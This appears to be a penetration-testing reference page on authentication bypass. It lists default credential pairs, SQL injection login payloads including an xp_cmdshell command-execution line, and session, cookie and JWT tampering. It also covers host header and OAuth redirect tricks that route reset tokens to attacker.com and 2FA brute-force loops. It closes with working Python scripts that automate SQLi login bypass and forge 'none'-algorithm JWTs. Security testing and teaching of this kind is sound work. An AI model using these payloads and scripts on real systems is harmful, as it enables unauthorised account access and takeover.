Exploitation A07

Authentication Bypass

Authentication bypass allows attackers to gain access without valid credentials. This includes exploiting logic flaws, default credentials, session vulnerabilities, and implementation weaknesses in authentication mechanisms.

Warning

Authentication bypass testing should be carefully scoped. Document all attempts and avoid account lockouts that could affect legitimate users.

Tools & Resources

jwt_tool

JWT attack toolkit

pip install jwt_tool GitHub →

Hydra

Credential brute forcing

apt install hydra GitHub →

Burp Intruder

Parameter fuzzing & brute force

Burp Suite

Default Credentials

Always test default credentials first - many systems ship with unchanged defaults.

Common Default Credentials

text
# Web Applications
admin:admin
admin:password
admin:123456
administrator:administrator
root:root
root:toor
user:user
test:test
guest:guest

# Network Devices
admin:admin (most routers)
cisco:cisco
enable:enable

# Databases
sa: (blank) - SQL Server
root: (blank) - MySQL
postgres:postgres
mongodb: (no auth)

# CMS Systems
admin:admin (WordPress, Joomla)
administrator:admin (Drupal)

# Management Interfaces
admin:admin (Jenkins)
admin:password (Grafana)
elastic:changeme (Elasticsearch)
kibana:changeme (Kibana)

Default Credential Resources

bash
# Online databases
https://cirt.net/passwords
https://default-password.info/
https://datarecovery.com/rd/default-passwords/

# SecLists default passwords
/usr/share/seclists/Passwords/Default-Credentials/

# Hydra with default creds
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://target

SQL Injection Auth Bypass

Classic SQLi Bypass

text
# Username field payloads
admin'--
admin'#
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
' OR 1=1--
admin' OR '1'='1
admin') OR ('1'='1

# Password field payloads
' OR '1'='1
anything' OR '1'='1'--
x' OR 1=1--

# Combined (username:password)
admin:' OR '1'='1'--
' OR '1'='1:anything
admin'--:anything

Database-Specific Payloads

sql
# MySQL
admin'-- -
admin'#
' OR 1=1-- -
' OR 1=1#

# PostgreSQL
admin'--
' OR 1=1--

# Oracle
admin'--
' OR '1'='1'--

# MSSQL
admin'--
' OR 1=1--
'; EXEC xp_cmdshell('whoami')--

Logic Flaw Bypasses

Parameter Manipulation

text
# Remove password parameter entirely
POST /login
username=admin

# Empty password
username=admin&password=

# Null byte injection
username=admin%00&password=anything

# Array instead of string
username=admin&password[]=

# Type juggling (PHP)
password=0 (may match against hash starting with 0e)

# Boolean manipulation
authenticated=true
isAdmin=1
role=admin

Response Manipulation

text
# Intercept response and modify
Original: {"success": false, "error": "Invalid password"}
Modified: {"success": true, "error": ""}

# Change HTTP status code
Original: HTTP/1.1 401 Unauthorized
Modified: HTTP/1.1 200 OK

# Modify redirect
Original: Location: /login?error=invalid
Modified: Location: /dashboard

Forced Browsing

text
# Try accessing protected pages directly
/admin
/dashboard
/admin/users
/api/admin/users
/internal/config

# Access functions without auth
/api/users/1/delete
/api/admin/settings
/export?format=csv

# Backup/hidden files
/backup/database.sql
/admin.bak
/login.php.bak
/.git/config

Session-Based Attacks

Session Token Manipulation

text
# Predictable session IDs
Session1: SESS0001
Session2: SESS0002
Try: SESS0000 (admin?)

# Weak session generation
# Base64 encoded user data
eyJ1c2VyIjogImd1ZXN0In0= → {"user": "guest"}
# Modify and re-encode
eyJ1c2VyIjogImFkbWluIn0= → {"user": "admin"}

# MD5 of username
Session: 21232f297a57a5a743894a0e4a801fc3 (md5("admin"))
Try: session of other usernames

# Sequential IDs
session_id=12345 → try 12344, 12346, etc.

JWT Token Attacks

text
# Decode JWT (https://jwt.io)
# Header.Payload.Signature

# Algorithm confusion - change RS256 to HS256
# Sign with public key as HMAC secret

# None algorithm bypass
{"alg": "none", "typ": "JWT"}
# Remove signature (keep trailing dot)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

# Modify claims
{"user": "guest"} → {"user": "admin"}
{"role": "user"} → {"role": "admin"}
{"isAdmin": false} → {"isAdmin": true}

# jwttool commands
python3 jwt_tool.py <token> -T  # Tamper mode
python3 jwt_tool.py <token> -X a  # Algorithm attacks

Cookie Manipulation

text
# Base64 encoded cookies
Cookie: user=Z3Vlc3Q= (guest)
Modify: user=YWRtaW4= (admin)

# Serialized objects (PHP)
Cookie: user=O:4:"User":1:{s:4:"name";s:5:"guest";}
Modify: O:4:"User":1:{s:4:"name";s:5:"admin";}

# Simple value cookies
Cookie: role=user → role=admin
Cookie: authenticated=0 → authenticated=1
Cookie: admin=false → admin=true

# URL encoded
Cookie: user=%67%75%65%73%74 (guest)
Modify: %61%64%6d%69%6e (admin)

Password Reset Flaws

Token Manipulation

text
# Predictable reset tokens
/reset?token=1234 → try 1233, 1235
/reset?token=user123 → try admin123

# Token in response
Request reset for attacker → capture token format
Request reset for victim → guess/enumerate token

# Expired token reuse
Save old reset link, may still work

# Token leakage
Check Referer header when clicking reset link
Check URL parameters in analytics

Host Header Injection

http
# Inject attacker domain in Host header
POST /forgot-password HTTP/1.1
Host: attacker.com
...
email=victim@example.com

# Reset link sent to victim contains attacker.com
# Victim clicks → token sent to attacker

# X-Forwarded-Host variation
POST /forgot-password HTTP/1.1
Host: legitimate.com
X-Forwarded-Host: attacker.com
...

Parameter Pollution

text
# Add second email parameter
email=victim@example.com&email=attacker@example.com

# Array injection
email[]=victim@example.com&email[]=attacker@example.com

# CC/BCC injection
email=victim@example.com%0aCc:attacker@example.com
email=victim@example.com%0aBcc:attacker@example.com

OAuth/SSO Bypasses

OAuth Misconfigurations

text
# Open redirect in redirect_uri
redirect_uri=https://legitimate.com/callback/../../../attacker.com/steal

# Redirect URI bypass
redirect_uri=https://legitimate.com.attacker.com/
redirect_uri=https://attacker.com#legitimate.com
redirect_uri=https://legitimate.com@attacker.com

# State parameter issues
# Missing state → CSRF attack
# Predictable state → session fixation

# Scope manipulation
scope=email → scope=email admin

SAML Attacks

xml
# Signature stripping
Remove Signature element entirely

# Signature wrapping
Add second unsigned assertion with admin claims

# Comment injection in NameID
<NameID>admin@victim.com<!---->.attacker.com</NameID>
# May parse as admin@victim.com

# XXE in SAML response
(see XXE section)

2FA/MFA Bypasses

Common 2FA Bypass Techniques

text
# Skip 2FA page
1. Login with valid credentials
2. Intercept redirect to /2fa
3. Change redirect to /dashboard

# Direct page access
Access /dashboard directly after step 1
May already be authenticated

# Response manipulation
{"2fa_required": true} → {"2fa_required": false}

# Null/empty code
code=
code=null
code=000000

# Code reuse
Use same valid code multiple times
Use someone else's valid code

# Brute force (if no rate limiting)
# 6-digit code = 1,000,000 combinations
for i in $(seq 0 999999); do printf "%06d\n" $i; done

Backup Code Attacks

text
# Backup codes often simpler
# May not have rate limiting
# May be predictable

# Race condition
Send multiple 2FA attempts simultaneously
May accept code that should be invalid

# Status code bypass
403 with valid session → manually navigate to protected page

Automation Scripts

Python - Auth Bypass Tester

python
#!/usr/bin/env python3
"""
Authentication Bypass Tester
Tests common auth bypass techniques
"""
import requests
import sys
from urllib.parse import urljoin

# SQLi bypass payloads
SQLI_PAYLOADS = [
    ("admin'--", "anything"),
    ("admin'#", "anything"),
    ("' OR '1'='1'--", "' OR '1'='1'--"),
    ("' OR 1=1--", "anything"),
    ("admin') OR ('1'='1", "anything"),
    ("admin'/*", "anything"),
]

# Logic bypass payloads
LOGIC_PAYLOADS = [
    {"username": "admin", "password": ""},
    {"username": "admin"},  # Missing password
    {"username": "admin", "password[]": ""},
    {"username": "admin", "password": "0"},  # Type juggling
]

def test_sqli_bypass(url, username_field="username", password_field="password"):
    """Test SQL injection auth bypass"""
    print("[*] Testing SQLi auth bypass...")
    
    for user, passwd in SQLI_PAYLOADS:
        try:
            response = requests.post(
                url,
                data={username_field: user, password_field: passwd},
                allow_redirects=False,
                timeout=10
            )
            
            # Check for successful login indicators
            if response.status_code in [302, 303]:
                location = response.headers.get('Location', '')
                if 'dashboard' in location or 'admin' in location or 'home' in location:
                    print(f"[+] BYPASS SUCCESSFUL! User: {user}")
                    return True
            
            if 'logout' in response.text.lower() or 'welcome' in response.text.lower():
                print(f"[+] BYPASS SUCCESSFUL! User: {user}")
                return True
                
        except Exception as e:
            continue
    
    return False

def test_logic_bypass(url):
    """Test logic flaw auth bypass"""
    print("[*] Testing logic flaw bypass...")
    
    for payload in LOGIC_PAYLOADS:
        try:
            response = requests.post(url, data=payload, allow_redirects=False, timeout=10)
            
            if response.status_code in [302, 303]:
                location = response.headers.get('Location', '')
                if 'login' not in location and 'error' not in location:
                    print(f"[+] LOGIC BYPASS! Payload: {payload}")
                    return True
        except:
            continue
    
    return False

def test_forced_browsing(base_url):
    """Test direct access to protected pages"""
    print("[*] Testing forced browsing...")
    
    protected_paths = [
        '/admin', '/dashboard', '/admin/users', '/api/admin',
        '/internal', '/manager', '/console', '/admin.php',
        '/wp-admin', '/administrator'
    ]
    
    found = []
    for path in protected_paths:
        try:
            url = urljoin(base_url, path)
            response = requests.get(url, allow_redirects=False, timeout=5)
            
            if response.status_code == 200:
                print(f"[+] Accessible without auth: {url}")
                found.append(url)
            elif response.status_code in [403, 401]:
                print(f"[*] Protected: {url}")
        except:
            continue
    
    return found

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <login_url>")
        print(f"Example: {sys.argv[0]} http://target.com/login")
        sys.exit(1)
    
    login_url = sys.argv[1]
    base_url = '/'.join(login_url.split('/')[:3])
    
    print(f"[*] Testing authentication bypass on {login_url}")
    print("=" * 50)
    
    test_sqli_bypass(login_url)
    test_logic_bypass(login_url)
    test_forced_browsing(base_url)

JWT Decoder/Encoder (Python)

python
#!/usr/bin/env python3
"""
JWT Token Analyzer and Modifier
"""
import base64
import json
import sys
import hmac
import hashlib

def base64url_decode(data):
    """Decode base64url"""
    padding = 4 - len(data) % 4
    data += '=' * padding
    return base64.urlsafe_b64decode(data)

def base64url_encode(data):
    """Encode to base64url"""
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def decode_jwt(token):
    """Decode and display JWT"""
    parts = token.split('.')
    if len(parts) != 3:
        print("[-] Invalid JWT format")
        return None
    
    header = json.loads(base64url_decode(parts[0]))
    payload = json.loads(base64url_decode(parts[1]))
    
    print("[*] Header:")
    print(json.dumps(header, indent=2))
    print("\n[*] Payload:")
    print(json.dumps(payload, indent=2))
    
    return header, payload

def create_none_alg_token(payload):
    """Create token with 'none' algorithm"""
    header = {"alg": "none", "typ": "JWT"}
    
    header_b64 = base64url_encode(json.dumps(header).encode())
    payload_b64 = base64url_encode(json.dumps(payload).encode())
    
    return f"{header_b64}.{payload_b64}."

def modify_payload(token, modifications):
    """Modify JWT payload claims"""
    parts = token.split('.')
    payload = json.loads(base64url_decode(parts[1]))
    
    for key, value in modifications.items():
        payload[key] = value
    
    print(f"[*] Modified payload: {payload}")
    return create_none_alg_token(payload)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <jwt_token> [key=value ...]")
        print(f"Example: {sys.argv[0]} <token> role=admin isAdmin=true")
        sys.exit(1)
    
    token = sys.argv[1]
    
    print("[*] Decoding JWT...")
    result = decode_jwt(token)
    
    if result and len(sys.argv) > 2:
        modifications = {}
        for arg in sys.argv[2:]:
            key, value = arg.split('=')
            # Try to parse as JSON for booleans/numbers
            try:
                value = json.loads(value.lower())
            except:
                pass
            modifications[key] = value
        
        print("\n[*] Creating modified token (none algorithm):")
        new_token = modify_payload(token, modifications)
        print(f"\n{new_token}")

Practice Labs

External Resources